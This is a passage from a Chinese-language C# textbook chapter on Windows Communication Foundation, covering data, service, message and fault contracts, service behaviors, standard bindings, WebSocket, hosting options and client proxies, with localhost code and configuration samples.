制。在运行库序列化中,所有字段都会序列化(包括私有字段),而在XML序列化中, 只序列化公共字段和属性。数据协定要求用DataMember特性显式标记要序列化的字段。 无论字段是私有或公共的,还是应用于属性,都可以使用这个特性。 [DataContract(Namespace="http://www.cninnovation.com/Services/2016"] public class RoomReservation { [DataMember] public string Room { get; set; } [DataMember] public DateTime StartTime { get; set; } [DataMember] public DateTime EndTime { get; set; } [DataMember] public string Contact { get; set; } [DataMember] public string Text { get; set; } } 为了独立于平台和版本,如果要求用新版本修改数据,且不破坏旧客户端和服务,则 使用数据协定是指定要发送哪些数据的最佳方式。还可以使用XML序列化和运行库序列 化。XML序列化是ASP.NET Web服务使用的机制,.NET Remoting使用运行库序列化。 使用DataMember特性,可以指定表44-1中的属性。 表44-1 用DataMember指定的 属性 说明 Name 序列化元素的名称默认与应用了[DataMember]特性的字段或 属性同名。使用Name属性可以修改该名称 Order Order属性指定了数据成员的序列化顺序 IsRequired 使用IsRequired属性,可以指定元素必须经过序列化才能接 收。这个属性可以用于解决版本问题。如果在已有的协定中 添加了成员,则协定不会被破坏,因为在默认情况下字段是 可选的(IsRequired=false)。将IsRequired属性设置为true, 就可以破坏已有的协定 EmitDefaultValue EmitDefaultValue属性指定有默认值的成员是否应序列化。 如果把EmitDefaultValue属性设置为true,则具有该类型的默 认值的成员就不序列化 44.3.2 版本问题 创建数据协定的新版本时,要注意更改的种类,如果应同时支持新旧客户端和新旧服 务,则应执行相应的操作。 在定义协定时,应使用DataContractAttribute的Namespace属性添加XML名称空间信 息。如果创建了数据协定的新版本,破坏了兼容性,就应改变这个名称空间。如果只添加 了可选的成员,就没有破坏协定——这就是一个可兼容的改变。旧客户端仍可以给新服务 发送消息,因为不需要其他数据。新客户端可以给旧服务发送消息,因为旧服务仅忽略额 外的数据。 删除字段或添加需要的字段会破坏协定。此时还应改变XML名称空间。名称空间的 名称可以包含年份和月份,如http://www.cninnovation.com/Services/2016/08。每次做了破 坏性的修改时,都要改变名称空间,如把年份和月份改为实际值。 44.3.3 服务协定和操作协定 服务协定定义了服务可以执行的操作。ServiceContract特性与接口或类一起使用来定 义服务协定。由服务提供的方法通过IRoomService接口应用OperationContract特性,如下 所示: [ServiceContract] public interface IRoomService { [OperationContract] bool ReserveRoom(RoomReservation roomReservation); } 可能用ServiceContract特性设置的属性如表44-2所示。 表44-2 用ServiceContract设置 的属性 说明 ConfigurationName 这个属性定义了配置文件中服务配置的名称 CallbackContract 当服务用于双工消息传递时,CallbackContract属性定义了在 客户端实现的协定 Name Name属性定义了WSDL中<portType>元素的名称 Namespace Namespace属性定义了WSDL中<portType>元素的XML名称 空间 SessionMode 使用SessionMode属性,可以定义调用这个协定的操作时是 否需要会话。其值用SessionMode枚举定义,包括Allowed、 NotAllowed和Required ProtectionLevel ProtectionLevel属性指定了绑定是否必须支持保护通信。其 值用ProtectionLevel枚举定义,包括None、Sign和 EncryptAndSign 使用OperationContract特性可以指定如表44-3所示的属性。 表44-3 用OperationContract指 定的属性 说明 Action WCF使用SOAP请求的Action属性把该请求映射到相应的方 法上。Action属性的默认值是协定XML名称空间、协定名和 操作名的组合。该消息如果是一条响应消息,就把Response 添加到Action字符串中。指定Action属性可以重写Action 值。如果指定值“*”,服务操作就会处理所有消息 ReplyAction Action属性设置了入站SOAP请求的Action名,而 ReplyAction属性设置了回应消息的Action名 AsyncPattern 如果使用异步模式来实现操作,则把AsyncPattern属性设置 为true。异步模式详见第15章 IsInitiating IsTerminating 如果协定由一系列操作组成,且初始化操作本应把 IsInitiating属性赋予它,则该系列的最后一个操作就需要指 定IsTerminating属性。初始化操作启动一个新会话,服务器 用终止操作来关闭会话 IsOneWay 设置IsOneWay属性,客户端就不会等待回应消息。在发送 请求消息后,单向操作的调用者无法直接检测失败 Name 操作的默认名称是指定了操作协定的方法名。使用Name属 性可以修改该操作的名称 ProtectionLevel 使用ProtectionLevel属性可以指定消息是应只签名,还是应 加密后签名 在服务协定中,也可以用[DeliveryRequirements]特性定义服务的传输要求。 RequireOrdered-Delivery属性指定所发送的消息必须以相同的顺序到达。使用 QueuedDeliveryRequirements属性可以指定消息以断开连接的模式发送,例如使用消息队 列。 44.3.4 消息协定 如果需要完全控制SOAP消息,就可以使用消息协定。在消息协定中,可以指定消息 的哪些部分要放在SOAP标题中,哪些部分要放在SOAP正文中。下面的例子显示了 ProcessPersonRequest-Message类的一个消息协定。该消息协定用MessageContract特性指 定。SOAP消息的标题和正文用MessageHeader和MessageBodyMember特性指定。指定 Position属性,可以确定正文中的元素顺序。还可以为标题和正文字段指定保护级别。 [MessageContract] public class ProcessPersonRequestMessage { [MessageHeader] public int employeeId; [MessageBodyMember(Position=0)] public Person person; } ProcessPersonRequestMessage类与用IProcessPerson接口定义的服务协定一起使用: [ServiceContract] public interface IProcessPerson { [OperationContract] public PersonResponseMessage ProcessPerson( ProcessPersonRequestMessage message); } 与WCF服务相关的另一个重要协定是错误协定,这个协定参见44.3.5节。 44.3.5 错误协定 默认情况下,在服务中出现的详细异常消息不返回给客户应用程序。其原因是安全 性。不应通过服务把详细的异常消息提供给第三方。异常应记录到服务上(为此可以使用 跟踪和事件日志功能),包含有用信息的错误应返回给调用者。 可以抛出一个FaultException异常来返回SOAP错误。抛出FaultException异常会创建一 个非类型化的SOAP错误。返回错误的首选方式是生成强类型化的SOAP错误。 应与强类型化的SOAP错误一起传递的信息用数据协定定义,如下面的 RoomReservationFault类所示(代码文件 RoomReservation/RoomReservationContracts/RoomReservationFault.cs): [DataContract] public class RoomReservationFault { [DataMember] public string Message { get; set; } } SOAP错误的类型必须用FaultContractAttribute和操作协定定义: [FaultContract(typeof(RoomReservationFault))] [OperationContract] bool ReserveRoom(RoomReservation roomReservation); 在实现代码中,抛出一个FaultException<TDetail>异常。在构造函数中,可以指定一 个新的TDetail对象,在本例中就是StateFault。另外,FaultReason中的错误信息可以赋予 构造函数。FaultReason支持多种语言的错误信息。 FaultReasonText[] text = new FaultReasonText[2]; text[0] = new FaultReasonText("Sample Error", new CultureInfo("en")); text[1] = new FaultReasonText("Beispiel Fehler", new CultureInfo("de")); FaultReason reason = new FaultReason(text); throw new FaultException<RoomReservationFault>( new RoomReservationFault() { Message = m }, reason); 在客户应用程序中,可以捕获FaultException<RoomReservationFault>类型的异常。出 现该异常的原因由Message属性定义。RoomReservationFault用Detail属性访问。 try { // etc. } catch (FaultException<RoomReservationFault> ex) { WriteLine(ex.Message); StateFault detail = ex.Detail; WriteLine(detail.Message); } 除了捕获强类型化的SOAP错误之外,客户应用程序还可以捕获 FaultException<Detail>的基类的异常:FaultException异常和CommunicationException异 常。通过捕获CommunicationException异常还可以捕获与WCF通信相关的其他异常。  注意: 在开发过程中,可以把异常返回给客户端。为了传播异常,需要使用 serviceDebug元素配置一个服务行为配置。serviceDebug元素的IncludeException- DetailInFaults特性可以设置为true来返回异常信息。 44.4 服务的行为 服务的实现代码用ServiceBehavior特性标记,如下面的RoomReservationService类所 示: [ServiceBehavior] public class RoomReservationService: IRoomService { public bool ReserveRoom(RoomReservation roomReservation) { // implementation } } ServiceBehavior特性用于描述WCF服务提供的操作,以截获所需功能的代码,如表 44-4所示。 表44-4 用ServiceBehavior指定的属性 说明 TransactionAutoComplete- OnSessionClose 当前会话正确完成时,就自动提交该事务。这类似 于Enterprise Services中的AutoComplete特性 TransactionIsolationLevel 要定义服务中事务的隔离级别,可以把 TransactionIsolationLevel属性设置为IsolationLevel 枚举的一个值 ReleaseServiceInstanceOn- TransactionComplete 完成事务处理后,可回收服务的实例 AutomaticSessionShutdown 如果在客户端关闭连接时没有关闭会话,就可以把 AutomaticSessionShutdown属性设置为false。在默 认情况下,会关闭会话 InstanceContextMode 使用InstanceContextMode属性,可以确定应使用有 状态的对象还是无状态的对象。默认设置为 InstanceContextMode.PerCall,用每个方法调用创建 一个新对象。其他可能的设置有PerSession和 Single。这两个设置都使用有状态的对象。但是, PerSession会为每个客户端创建一个新对象,而 Single允许在多个客户端共享同一个对象 ConcurrencyMode 因为有状态的对象可以由多个客户端(或同一个客 户端的多个线程)使用,所以必须注意这种对象类 型的并发问题。如果把ConcurrencyMode属性设置 为Multiple,则多个线程可以访问对象,但必须处 理同步问题。如果把该属性设置为Single,则一次 只有一个线程能访问对象,但不必处理同步问题; 如果客户端较多,则可能出现可伸缩性问题。 Reentrant值表示只有从调用返回的线程才能访问对 象。对于无状态的对象,这个设置没有任何意义, 因为每个方法调用都会实例化一个新对象,所以不 共享状态 UseSynchronizationContext 在用户界面代码中,控件的成员都只能从创建者线 程中调用。如果服务位于Windows应用程序中,其 服务方法调用控件成员,则把 UseSynchronizationContext属性设置为true。这样, 服务就运行在SynchronizationContext属性定义的线 程中 IncludeExceptionDetailInFaults 在.NET中,错误被看作异常。SOAP指定SOAP错 误返回给客户端,以防服务器出问题。出于安全考 虑,最好不要把服务器端异常的细节返回给客户 端。因此,异常默认转换为未知错误。要返回特定 的错误,可抛出FaultException类型的异常。为了便 于调试,返回真实的异常信息很有帮助。此时应把 IncludeExceptionDetailInFaults属性的设置改为 true。这里抛出FaultException<TDetail>异常,其中 原始异常包含详细信息 MaxItemsInObjectGraph 使用MaxItemsInObjectGraph属性,可以限制要序列 化的对象数。如果序列化一个对象树型结构,则默 认的限制过低 ValidateMustUnderstand 把ValidateMustUnderstand属性设置为true表示必须 理解SOAP标题(默认) 为了演示服务行为,IStateService接口定义了一个服务协定,其中的两个操作用于获 取和设置状态。有状态的服务协定需要一个会话。这就是把服务协定的SessionMode属性 设置为SessionMode.Required的原因。服务协定还将IsInitiating和IsTerminating属性应用于 操作协定,以定义启动和关闭会话的方法。 [ServiceContract(SessionMode=SessionMode.Required)] public interface IStateService { [OperationContract(IsInitiating=true)] void Init(int i); [OperationContract] void SetState(int i); [OperationContract] int GetState(); [OperationContract(IsTerminating=true)] void Close(); } 服务协定由StateService类实现。服务的实现代码定义了 InstanceContextMode.PerSession,使状态与实例保持同步。 [ServiceBehavior(InstanceContextMode=InstanceContextMode.PerSession)] public class StateService: IStateService { int _i = 0; public void Init(int i) { _i = i; } public void SetState(int i) { _i = i; } public int GetState() { return _i; } public void Close() { } } 现在必须定义对地址和协议的绑定。其中,将basicHttpBinding赋予服务的端点: <? xml version="1.0" encoding="utf-8" ? > <configuration> <system.serviceModel> <services> <service behaviorConfiguration="StateServiceSample.Service1Behavior" name="Wrox.ProCSharp.WCF.StateService"> <endpoint address="" binding="basicHttpBinding" bindingConfiguration="" contract="Wrox.ProCSharp.WCF.IStateService"> </endpoint> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" /> <host> <baseAddresses> <add baseAddress="http://localhost:8731/Design_Time_Addresses/ StateServiceSample/Service1/" /> </baseAddresses> </host> </service> </services> <behaviors> <serviceBehaviors> <behavior name="StateServiceSample.Service1Behavior"> <serviceMetadata httpGetEnabled="True"/> <serviceDebug includeExceptionDetailInFaults="False" /> </behavior> </serviceBehaviors> </behaviors> </system.serviceModel> </configuration> 如果用定义的配置启动服务宿主,就会抛出一个InvalidOperationException类型的异 常。该异常的错误消息是“协定需要会话,但绑定BasicHttpBinding不支持它或者没有正确 配置为支持它”。 并不是所有绑定都支持所有服务。因为服务协定需要用 [ServiceContract(ServiceMode=ServiceMode.Required)]特性指定一个会话,所以主机会 因为所配置的绑定不支持会话而失败。 只要修改对绑定的配置,使之支持会话(如wsHttpBinding),服务器就会成功启 动。 <endpoint address="" binding="wsHttpBinding" bindingConfiguration="" contract="Wrox.ProCSharp.WCF.IStateService"> </endpoint> 在服务的实现代码中,可以通过OperationBehavior特性将表44-5所示的属性应用于服 务方法。 表44-5 通过OperationBehavior应用的属 性 说明 AutoDisposeParameters 默认情况下,所有可释放的参数都自动释放。如果 参数不应释放,那么可以把AutoDisposeParameters 属性设置为false。接着,发送方将负责释放该参数 Impersonation 使用Impersonation属性,可以模拟调用者,以调用 者的身份运行方法 ReleaseInstanceMode InstanceContextMode使用服务行为设置定义对象实 例的生命周期。使用操作行为设置,可以根据操作 重写设置。ReleaseInstanceMode用 ReleaseInstanceMode枚举定义实例发布模式。其 None值使用实例上下文模式设置。BeforeCall、 AfterCall和BeforeAndAfterCall值用于定义操作的循 环次数 TransactionScopeRequired 使用TransactionScopeRequired属性可以指定操作是 否需要一个事务。如果需要一个事务,且调用者已 经发出一个事务,就使用同一个事务。如果调用者 没有发出事务,就创建一个新的事务 TransactionAutoComplete TransactionAutoComplete属性指定事务是否自动完 成。如果把该属性设置为true,则在抛出异常的情 况下终止事务。如果这是一个根事务,且没有抛出 异常,则提交事务 44.5 绑定 绑定描述了服务的通信方式。使用绑定可以指定如下特性: ● 传输协议 ● 安全性 ● 编码格式 ● 事务流 ● 可靠性 ● 形状变化 ● 传输升级 44.5.1 标准绑定 绑定包含多个绑定元素,它们描述了所有绑定要求。可以创建自定义绑定,也可以使 用表44-6中的某个预定义绑定: 表44-6 标准绑定 说明 BasicHttpBinding BasicHttpBinding绑定用于最广泛的互操作,针对 第一代Web服务。所使用的传输协议是HTTP或 HTTPS,其安全性仅由传输协议保证 WSHttpBinding WSHttpBinding绑定用于下一代Web服务,它们用 SOAP扩展确保安全性、可靠性和事务处理。所使 用的传输协议是HTTP或HTTPS;为了确保安全, 实现了WS-Security规范;使用WS-Coordination、 WS-AtomicTransaction和WS-BusinessActivity规范 支持事务;通过WS-ReliableMessaging的实现支持 可靠的消息传送。WS-Profile也支持用于发送附件 的MTOM(Message Transmission Optimization Protocol,消息传输优化协议)编码。WS-*标准的 规范可参见http://www.oasis-open.org WS2007HttpBinding WS2007HttpBinding派生自基类WSHttpBinding,支 持OASIS(Organization for the Advancement of Structured Information Standards,结构化信息标准 促进组织)定义的安全性、可靠性和事务规范。这 个类提供了更新的SOAP标准 WSHttpContextBinding WSHttpContextBinding派生自基类 WSHttpBinding,开始支持没有使用cookie的上下 文。这个绑定会添加ContextBindingElement来交换 上下文信息。Windows Workflow Foundation 3.0需 要上下文绑定元素 WebHttpBinding 这个绑定用于通过HTTP请求(而不是SOAP请求) 提供的服务,它对于脚本客户端很有用,如 ASP.NET AJAX WSFederationHttpBinding WSFederationHttpBinding是一种安全、可交互操作 的绑定,支持在多个系统上共享身份,以进行身份 验证和授权 WSDualHttpBinding 与WSHttpBinding相反,WSDualHttpBinding绑定支 持双工的消息传送 NetTcpBinding 所有用Net作为前缀的标准绑定都使用二进制编码 在.NET应用程序之间通信。这个编码比WSxxx绑 定使用的文本编码快。NetTcpBinding绑定使用 TCP/IP协议 NetTcpContextBinding 类似于WSHttpContextBinding, NetTcpContextBinding会添加 ContextBindingElement,与SOAP标题交换上下文 信息 NetHttpBinding 这是.NET 4.5新增的绑定,支持WebSocket传输协 议 NetPeerTcpBinding NetPeerTcpBinding为对等通信提供绑定 NetNamedPipeBinding NetNamedPipeBinding为同一系统上的不同进程之 间的通信进行了优化 NetMsmqBinding NetMsmqBinding为WCF引入了排队通信。这里消 息会被发送到消息队列中 MsmqIntegrationBinding MsmqIntegrationBinding是用于使用消息队列的已 有应用程序的绑定,而NetMsmqBinding绑定需要 位于客户端和服务器上的WCF应用程序 CustomBinding 使用CustomBinding,可以完全定制传输协议和安 全要求 44.5.2 标准绑定的功能 不同的绑定支持不同的功能。以WS开头的绑定独立于平台,支持Web服务规范。以 Net开头的绑定使用二进制格式,使.NET应用程序之间的通信有很高的性能。其他功能包 括支持会话、可靠的会话、事务和双工通信。表44-7列出了支持这些功能的绑定。 表44-7 功能 绑定 会话 WSHttpBinding、WSDualHttpBinding、 WSFederationHttpBinding、NetTcpBinding、 NetNamedPipeBinding 可靠的会话 WSHttpBinding、WSDualHttpBinding、 WSFederationHttpBinding、NetTcpBinding 事务 WSHttpBinding、WSDualHttpBinding、 WSFederationHttpBinding、NetTcpBinding、 NetNamedPipeBinding、NetMsmqBinding、 MsmqIntegrationBinding 双工通信 WSDualHttpBinding、NetTcpBinding、 NetNamedPipeBinding、NetPeerTcpBinding 除了定义绑定之外,服务还必须定义端点。端点依赖于协定、服务的地址和绑定。在 下面的代码示例中,实例化了一个ServiceHost对象,将地址 http://localhost:8080/RoomReservation、一个WSHttpBinding实例和协定添加到服务的一个 端点上。 static ServiceHost s_host; static void StartService() { var baseAddress = new Uri("http://localhost:8080/RoomReservation"); s_host = new ServiceHost(typeof(RoomReservationService)); var binding1 = new WSHttpBinding(); s_host.AddServiceEndpoint(typeof(IRoomService), binding1, baseAddress); s_host.Open(); } 除了以编程方式定义绑定之外,还可以在应用程序配置文件中定义它。WCF的配置 放在<system.serviceModel>元素中,<service>元素定义了所提供的服务。同样,如代码所 示,服务需要一个端点,该端点包含地址、绑定和协定信息。wsHttpBinding的默认绑定 配置用XML特性bindingConfiguration修改,该特性引用了绑定配置wsHttpBinding。这个绑 定配置在<bindings>部分,它用于修改wsHttpBinding配置,以启用reliableSession。 <? xml version="1.0" encoding="utf-8" ? > <configuration> <system.serviceModel> <services> <service name="Wrox.ProCSharp.WCF.RoomReservationService"> <endpoint address=" http://localhost:8080/RoomReservation" contract="Wrox.ProCSharp.WCF.IRoomService" binding="wsHttpBinding" bindingConfiguration="wsHttpBinding" /> </service> </services> <bindings> <wsHttpBinding> <binding name="wsHttpBinding"> <reliableSession enabled="true" /> </binding> </wsHttpBinding> </bindings> </system.serviceModel> </configuration> 44.5.3 WebSocket WebSocket是基于TCP的一个新通信协议。HTTP协议是无状态的。服务器利用 HTTP,可以在每次回应请求后关闭连接。如果客户端需要从服务器连续接收信息,使用 HTTP协议就总是会有一些问题。 因为HTTP连接是保持的,所以解决这个问题的一种方式是让一个服务运行在客户 端,服务器连接到该客户端,并发送回应。如果在客户端和服务器之间有防火墙,这种方 式通常无效,因为防火墙阻塞了入站的请求。 解决这个问题的另一种方式是使用另一个协议替代HTTP协议。这样连接可以保持活 跃。使用其他协议的问题是端口需要用防火墙打开。防火墙总是一个问题,但需要用防火 墙来禁止坏人进入。 这个问题的通常的解决方法是每次都实例化来自客户端的请求。客户端向服务器询 问,是否有新的信息。这是有效的,但其缺点是要么客户端询问了很多次,都没有得到新 信息,因此增加了网络通信量,要么客户端获得了旧信息。 新的解决方案是使用WebSocket协议。这个协议由W3C定义 (http://www.w3.org/TR/websockets),开始于一个HTTP请求。客户端首先发出一个 HTTP请求,防火墙通常允许发送该请求。客户端发出一个GET请求时,在HTTP头中包含 Upgrade: websocket Connection: Upgrade,再加上WebSocket版本和安全信息。如果服务器 支持WebSocket协议,则它会用一个升级来回应,并从HTTP切换到WebSocket协议。 在WCF中,.NET 4.5提供的两个新绑定支持WebSocket协议:netHttpBinding和 netHttpsBinding。 现在创建一个使用WebSocket协议的示例。开始是一个空白的Web应用程序,用于保 存服务。 HTTP协议的默认绑定是前面介绍的basicHttpBinding。定义protocolMapping来指定 netHttpBinding,就可以修改它,如下所示。这样就不需要配置服务元素,来匹配端点的 协定、绑定和地址了。有了配置,就启用serviceMetadata,允许客户端使用Add Service Reference对话框来引用服务(配置文件 WebSocketsSample/WebSocketsSample/Web.config)。 <configuration> <! - etc. -> <system.serviceModel> <protocolMapping> <remove scheme="http" /> <add scheme="http" binding="netHttpBinding" /> <remove scheme="https" /> <add scheme="https" binding="netHttpsBinding" /> </protocolMapping> <behaviors> <serviceBehaviors> <behavior name=""> <serviceMetadata httpGetEnabled="true" httpsGetEnabled="true" /> <serviceDebug includeExceptionDetailInFaults="false" /> </behavior> </serviceBehaviors> </behaviors> <serviceHostingEnvironment aspNetCompatibilityEnabled="true" multipleSiteBindingsEnabled="true" /> </system.serviceModel> </configuration> 服务协定由接口IDemoServices和IDemoCallback定义。IDemoServices是定义了方法 StartSendingMessages的服务接口。客户端调用方法StartSendingMessages启动过程,使服 务可以给客户端返回消息。所以客户端需要实现IDemoCallback接口。这个接口由服务器 调用,由客户端实现。 接口的方法定义为返回任务,于是服务很容易使用异步功能,但这不会遵从协定。以 异步方式定义方法独立于所生成的WSDL(代码文件 WebSocketsSample/WebSocketsSample/IDemoServices.cs): using System.ServiceModel; using System.Threading.Tasks; namespace WebSocketsSample { [ServiceContract] public interface IDemoCallback { [OperationContract(IsOneWay = true)] Task SendMessage(string message); } [ServiceContract(CallbackContract = typeof(IDemoCallback))] public interface IDemoService { [OperationContract] void StartSendingMessages(); } } 服务的实现在DemoService类中完成。在方法StartSendingMessages中,要返回给客户 端的回调接口通过OperationContext.Current.GetCallbackChannel来检索。客户端调用该方 法时,它在第一次调用SendMessage方法后立即返回。线程在完成SendMessage方法之前不 会阻塞。在完成SendMessage方法后,使用await把一个线程返回给StartSendingMessages。 接着延迟1秒,之后客户端接收另一个消息。如果关闭通信通道,则while循环退出(代码 文件WebSocketsSample/WebSocketsSample/DemoService.svc.cs)。 using System.ServiceModel; using System.ServiceModel.Channels; using System.Threading.Tasks; namespace WebSocketsSample { public class DemoService : IDemoService { public async Task StartSendingMessages() { IDemoCallback callback = OperationContext.Current.GetCallbackChannel<IDemoCallback>(); int loop = 0; while ((callback as IChannel).State == CommunicationState.Opened) { await callback.SendMessage($"Hello from the server {loop++}"); await Task.Delay(1000); } } } } 客户应用程序被创建为一个控制台应用程序。因为元数据可以通过服务获得,所以添 加服务引用会创建一个代理类,它可以用于调用服务,实现回调接口。添加服务引用不仅 会创建代理类,还会把netHttpBinding添加到配置文件中(配置文件 WebSocketsSample/ClientApp/App.config): <? xml version="1.0" encoding="utf-8" ? > <configuration> <startup> <supportedRuntime version="v4.0" sku=".NETFramework, Version=v4.6" /> </startup> <system.serviceModel> <bindings> <netHttpBinding> <binding name="NetHttpBinding_IDemoService"> <webSocketSettings transportUsage="Always" /> </binding> </netHttpBinding> </bindings> <client> <endpoint address="ws://localhost:20839/DemoService.svc" binding="netHttpBinding" bindingConfiguration="NetHttpBinding_IDemoService" contract="DemoService.IDemoService" name="NetHttpBinding_IDemoService" /> </client> </system.serviceModel> </configuration> 回调接口的实现代码只把一条消息写入控制台,并带有从服务接收的信息。要启动所 有的处理过程,应创建一个DemoServiceClient实例,它接收一个InstanceContext对象。 InstanceContext对象包含CallbackHandler的一个实例,这个引用由服务接收,并返回给客 户端(代码文件WebSocketsSample/ClientApp/Program.cs)。 using System; using System.ServiceModel; using ClientApp.DemoService; using static System.Console; namespace ClientApp { class Program { private class CallbackHandler : IDemoServiceCallback { public void SendMessage(string message) { WriteLine($"message from the server {message}"); } } static void Main() { WriteLine("client… wait for the server"); ReadLine(); StartSendRequest(); WriteLine("next return to exit"); ReadLine(); } static async void StartSendRequest() { var callbackInstance = new InstanceContext(new CallbackHandler()); var client = new DemoServiceClient(callbackInstance); await client.StartSendingMessagesAsync(); } } } 运行应用程序,客户端向服务请求消息,服务作出与客户端无关的回应: client… wait for the server next return to exit message from the server Hello from the server 0 message from the server Hello from the server 1 message from the server Hello from the server 2 message from the server Hello from the server 3 message from the server Hello from the server 4 Press any key to continue . . . 44.6 宿主 在选择运行服务的宿主时,WCF非常灵活。宿主可以是Windows服务、WAS或IIS、 Windows应用程序或简单的控制台应用程序。在用Windows窗体或WPF创建自定义宿主 时,很容易创建对等的解决方案。 44.6.1 自定义宿主 先从自定义宿主开始。下面的示例代码列出了控制台应用程序中的服务宿主。但在其 他自定义宿主类型中,如Windows服务或Windows应用程序,可以用相同的方式编写服 务。 在Main方法中,创建了一个ServiceHost实例。之后,读取应用程序配置文件来定义绑 定。也可以通过编程方式定义绑定,如前面所示。接着,调用ServiceHost类的Open方 法,使服务接受客户端调用。在控制台应用程序中,必须注意在关闭服务之前不能关闭主 线程。这里实际上在调用Close方法时,会要求用户“按回车键”,以结束(退出)服务。 using System; using System.ServiceModel; using static System.Console; class Program { static void Main() { using (var serviceHost = new ServiceHost()) { serviceHost.Open(); WriteLine("The service started. Press return to exit"); ReadLine(); serviceHost.Close(); } } } 要终止服务宿主,可以调用ServiceHost类的Abort方法。要获得服务的当前状态, State属性会返回CommunicationState枚举定义的一个值,该枚举的值有Created、Opening、 Opened、Closing、Closed和Faulted。  注意: 如果从Windows窗体或WPF应用程序中启动服务,并且该服务的代码 调用Windows控件的方法,就必须确保只有控件的创建者线程可以访问该控件的方法和 属性。在WCF中,通过设置[ServiceBehavior]特性的UseSynchronizationContext属性可以 实现该行为。 44.6.2 WAS宿主 在WAS宿主中,可以使用WAS工作者进程中的功能,如自动激活服务、健康监控和 进程回收。 要使用WAS宿主,只需要创建一个Web站点和一个.svc文件,其中的ServiceHost声明 包含服务类的语言和名称。下面的代码使用Service1类。另外,还必须指定包含服务类的 文件。这个类的实现方式与前面定义WCF服务库的方式相同。 <%@ServiceHost language="C#" Service="Service1" CodeBehind="Service1.svc.cs" %> 如果使用WAS宿主中可用的WCF服务库,就可以创建一个.svc文件,它只包含类的引 用: <%@ ServiceHost Service="Wrox.ProCSharp.WCF.Services.RoomReservationService" %>  注意: 使用IIS和WAS并没有限制为采用HTTP协议。通过WAS,可以使 用.NET TCP和Message Queue绑定。在内联网中,这是一个有用的场景。 44.6.3 预配置的宿主类 为了减少配置的必要性,WCF还提供了一些带预配置绑定的宿主类。一个例子是 System.ServiceModel.Web名称空间中System.ServiceModel.Web程序集中的WebServiceHost 类。如果没有用WebHttpBinding配置默认端点,这个类就为HTTP和HTTPS基址创建一个 默认端点。另外,如果没有定义另一个行为,这个类就会添加WebHttpBehavior。利用这 个行为,可以执行简单的HTTP GET、POST、PUT、DELETE(使用WebInvoke特性)操 作,而无需额外的设置(代码文件 RoomReservation/RoomReservationWebHost/Program.cs)。 using System; using System.ServiceModel; using System.ServiceModel.Web; using Wrox.ProCSharp.WCF.Service; using static System.Console; namespace RoomReservationWebHost { class Program { static void Main() { var baseAddress = new Uri("http://localhost:8000/RoomReservation"); var host = new WebServiceHost(typeof(RoomReservationService), baseAddress); host.Open(); WriteLine("service running"); WriteLine("Press return to exit…"); ReadLine(); if (host.State == CommunicationState.Opened) { host.Close(); } } } } 要使用简单的HTTP GET请求接收预订信息,GetRoomReservation方法需要一个 WebGet特性,把方法参数映射到来自GET请求的输入上。在下面的代码中,定义了一个 UriTemplate,这需要待添加到基址中的Reservations后跟From和To参数。From和To参数依 次映射到fromTime和toTime变量上(代码文件 RoomReservationService/RoomReservationService.cs)。 [WebGet(UriTemplate="Reservations? From={fromTime}&To={toTime}")] public RoomReservation[] GetRoomReservations(DateTime fromTime, DateTime toTime) { var data = new RoomReservationData(); return data.GetReservations(fromTime, toTime); } 现在可以使用简单的请求来调用服务了,如下所示。返回给定时间段的所有预订信 息。 http://localhost:8000/RoomReservation/Reservations? From=2012/1/1&To=2012/8/1  注意: System.Data.Services.DataServiceHost是另一个带预配置功能的类。这 个类派生自WebServiceHost。 44.7 客户端 客户应用程序需要一个代理来访问服务。给客户端创建代理有3种方式: ● Visual Studio Add Service Reference ——这个实用程序根据服务的元数据创建代理 类。 ● Service Model Metadata Utility工具(Svcutil.exe) ——使用Svcutil实用程序可以创 建代理类。该实用程序从服务中读取元数据,以创建代理类。 ● ChannelFactory类 ——这个类由Svcutil实用程序生成的代理使用,然而它也可以用 于以编程方式创建代理。 44.7.1 使用元数据 从Visual Studio中添加服务引用需要访问WSDL文档。WSDL文档由MEX端点创建, MEX端点需要用服务配置。在下面的配置中,带相对地址mex的端点使用 mexHttpBinding,并实现ImetadataExchange协定。为了通过HTTP GET请求访问元数据, 应把behaviorConfiguration配置为MexServiceBehavior。 <? xml version="1.0" encoding="utf-8" ? > <configuration> <system.serviceModel> <services> <service behaviorConfiguration="MexServiceBehavior" name="Wrox.ProCSharp.WCF.RoomReservationService"> <endpoint address="Test" binding="wsHttpBinding" contract="Wrox.ProCSharp.WCF.IRoomService" /> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" /> <host> <baseAddresses> <add baseAddress= "http://localhost:8733/Design_Time_Addresses/RoomReservationService /" /> <baseAddresses> </host> </service> </services> <behaviors> <serviceBehaviors> <behavior name="MexServiceBehavior"> <! - To avoid disclosing metadata information, set the value below to false and remove the metadata endpoint abo ve before deployment - > <serviceMetadata httpGetEnabled="True"/> </behavior> </serviceBehaviors> </behaviors> </system.serviceModel> </configuration> 类似于Visual Studio中的服务引用添加,Svcutil实用程序需要元数据来创建代理类。 Svcutil实用程序可以通过MEX元数据端点、程序集的元数据或者WSDL和XSD文档创建代 理。 svcutil http://localhost:8080/RoomReservation? wsdl /language:C# /out:proxy.c s svcutil CourseRegistration.dll svcutil CourseRegistration.wsdl CourseRegistration.xsd 生成代理类后,它需要从客户端代码中实例化,再调用方法,最后必须调用Close方 法: var client = new RoomServiceClient(); client.RegisterForCourse(roomReservation); client.Close(); 44.7.2 共享类型 生成的代理类派生自基类ClientBase<TChannel>,该基类封装 ChannelFactory<TChannel>类。除了使用生成的代理类之外,还可以直接使用 ChannelFactory<TChannel>类。构造函数需要绑定和端点地址;之后,就可以创建信道, 调用服务协定定义的方法。最后,必须关闭该工厂。 var binding = new WsHttpBinding(); var address = new EndpointAddress("http://localhost:8080/RoomService"); var factory = new ChannelFactory<IStateService>(binding, address); IRoomService channel = factory.CreateChannel(); channel.ReserveRoom(roomReservation); // etc. factory.Close(); ChannelFactory<TChannel>类有几个属性和方法,如表44-8所示。 表44-8 ChannelFactory类的成员 说明 Credentials Credentials是一个只读属性,可以访问 ClientCredentials对象,该对象被赋予信道,对服务 进行身份验证。凭据可以用端点来设置 Endpoint Endpoint是一个只读属性,可以访问与信道相关联 的ServiceEndpoint。端点可以在构造函数中分配 State State属性的类型是CommunicationState,它返回信 道的当前状态。CommunicationState是一个枚举, 其值是Created、Opening、Opened、Closing、 Closed和Faulted Open 该方法用于打开信道 Close 该方法用于关闭信道 Opening、Opened、Closing、 Closed和Faulted 可以指定事件处理程序,从而确定信道的状态变 化。这些事件分别在信道打开前后、信道关闭前后 和出错时触发 44.8 双工通信 